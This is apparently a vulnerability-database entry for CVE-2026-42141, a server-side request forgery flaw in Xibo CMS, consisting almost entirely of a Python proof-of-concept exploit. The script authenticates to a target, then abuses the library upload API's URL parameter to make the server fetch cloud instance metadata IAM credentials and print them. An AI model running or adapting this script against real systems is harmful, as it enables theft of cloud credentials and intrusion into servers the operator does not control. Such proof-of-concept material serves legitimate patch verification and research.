CVE-2026-42141 Xibo CMS 服务端请求伪造漏洞

import requests # Target URL TARGET_URL = "http://target-xibo-cms.com" # Login credentials USERNAME = "attacker" PASSWORD = "password" # SSRF Payload targeting internal metadata SSRF_PAYLOAD = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" def exploit_ssrf(): session = requests.Session() # Step 1: Authenticate to get session cookie login_data = {"username": USERNAME, "password": PASSWORD} login_resp = session.post(f"{TARGET_URL}/login", data=login_data) if login_resp.status_code != 200: print("Login failed") return print("[+] Login successful") # Step 2: Send SSRF request via Library Upload functionality # Note: The specific endpoint and parameter name might vary based on version upload_headers = {"Content-Type": "application/json"} exploit_data = { "name": "test_image", "url": SSRF_PAYLOAD, # Vulnerable parameter "isUpload": 1 } exploit_resp = session.post(f"{TARGET_URL}/api/library", json=exploit_data, headers=upload_headers) if exploit_resp.status_code == 200: print("[+] SSRF request sent successfully") print(f"[+] Response body:\n{exploit_resp.text}") else: print("[-] Exploit failed") print(exploit_resp.text) if __name__ == "__main__": exploit_ssrf()